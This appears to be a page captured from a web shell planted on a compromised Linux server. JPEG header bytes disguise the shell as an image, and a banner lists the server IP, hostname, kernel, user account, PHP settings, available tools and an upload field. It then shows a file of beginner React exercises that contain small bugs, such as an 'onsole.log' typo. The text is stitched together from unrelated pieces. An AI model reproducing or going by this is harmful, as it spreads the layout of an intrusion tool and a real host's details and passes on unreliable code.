ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/public/plugin/ |
Upload File : |
class Title extends React.Component {
render() {
return (
<h1>To-do</h1>
);
}
}
class Todo extends React.Component {
constructor(props) {
super(props);
this.state = {
value: '',
items: []
};
this.handleOnChange = this.handleOnChange.bind(this);
this.handleSubmit = this.handleSubmit.bind(this);
}
handleOnChange(e) {
this.setState({value: e.target.value});
}
handleSubmit(e) {
e.preventDefault();
console.log(this.state.value.length);
if (!this.state.value.length) {
return;
}
const newsItem = {
value: this.state.value,
id: Date.now()
};
this.setState(prevState => ({
items: [...prevState.items, newsItem],
value: ''
}));
}
render() {
return (
<div>
<form onSubmit={this.handleSubmit}>
<input value={this.state.value} onChange={this.handleOnChange}/>
<button type="submit">+</button>
</form>
<TodoList items={this.state.items}/>
</div>
);
}
}
class TodoList extends React.Component {
render() {
return (
<ul>
{this.props.items.map(item => (
<li key={item.id}> {item.value}</li>
))}
</ul>
);
}
}
//best score
class BestScore extends React.Component {
render() {
return <h1>The best score: {this.props.bestScore}</h1>
}
}
class CurrentScore extends React.Component {
render() {
return <h2>{this.props.currentScore}</h2>
}
}
class ButtonGame extends React.Component {
constructor(props) {
super(props);
this.state = {
toggle: false,
buttonName: 'Start',
bestScore: 0
};
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
this.setState((prevState) => ({
toggle: !prevState.toggle,
buttonName: this.state.toggle ? 'Start' : 'End',
}));
}
componentWillReceiveProps() {
console.log('componentWillReceiveProps');
}
shouldComponentUpdate() {
console.log('shouldComponentUpdate');
}
componentWillUpdate() {
console.log('componentWillUpdate');
}
componentDidUpdate() {
onsole.log('componentDidUpdate');
}
render() {
console.log('render')
return (
<div>
<BestScore bestScore={this.state.bestScore}/>
<button onClick={this.handleClick}>{this.state.buttonName}</button>
<CurrentScore currentScore={this.state.bestScore}/>
</div>
);
}
}
class AutoPlusOne extends React.Component {
constructor(props) {
super(props);
this.state = {
number: 1,
maxNumber: 0,
status: false,
};
this.handleClick=this.handleClick.bind(this);
this.getScore=this.getScore.bind(this);
}
handleClick(){
let status = this.state.status;
this.setState(prevState=>({status: !status}));
// status = this.state.status;
console.log('trang thay handclick: '+ status)
if (!status){
this.getScore()
}else{
clearInterval(this.interval);
}
}
componentDidMount(){
console.log('componentDidMount');
}
getScore(){
this.interval = setInterval(()=>{
let number = Math.round(Math.random()*1000*1000);
this.setState({
number: number,
maxNumber: this.state.maxNumber < number ? number : this.state.maxNumber
} )
},15);
}
render() {
let status = this.state.status;
return (
<div>
<p>{this.state.number}</p>
<p> MAX: {this.state.maxNumber}</p>
<button onClick={this.handleClick}>{status ? 'OFF' : 'ON'}</button>
</div>
);
}
}
ReactDOM.render(
<AutoPlusOne />,
document.getElementById('root')
);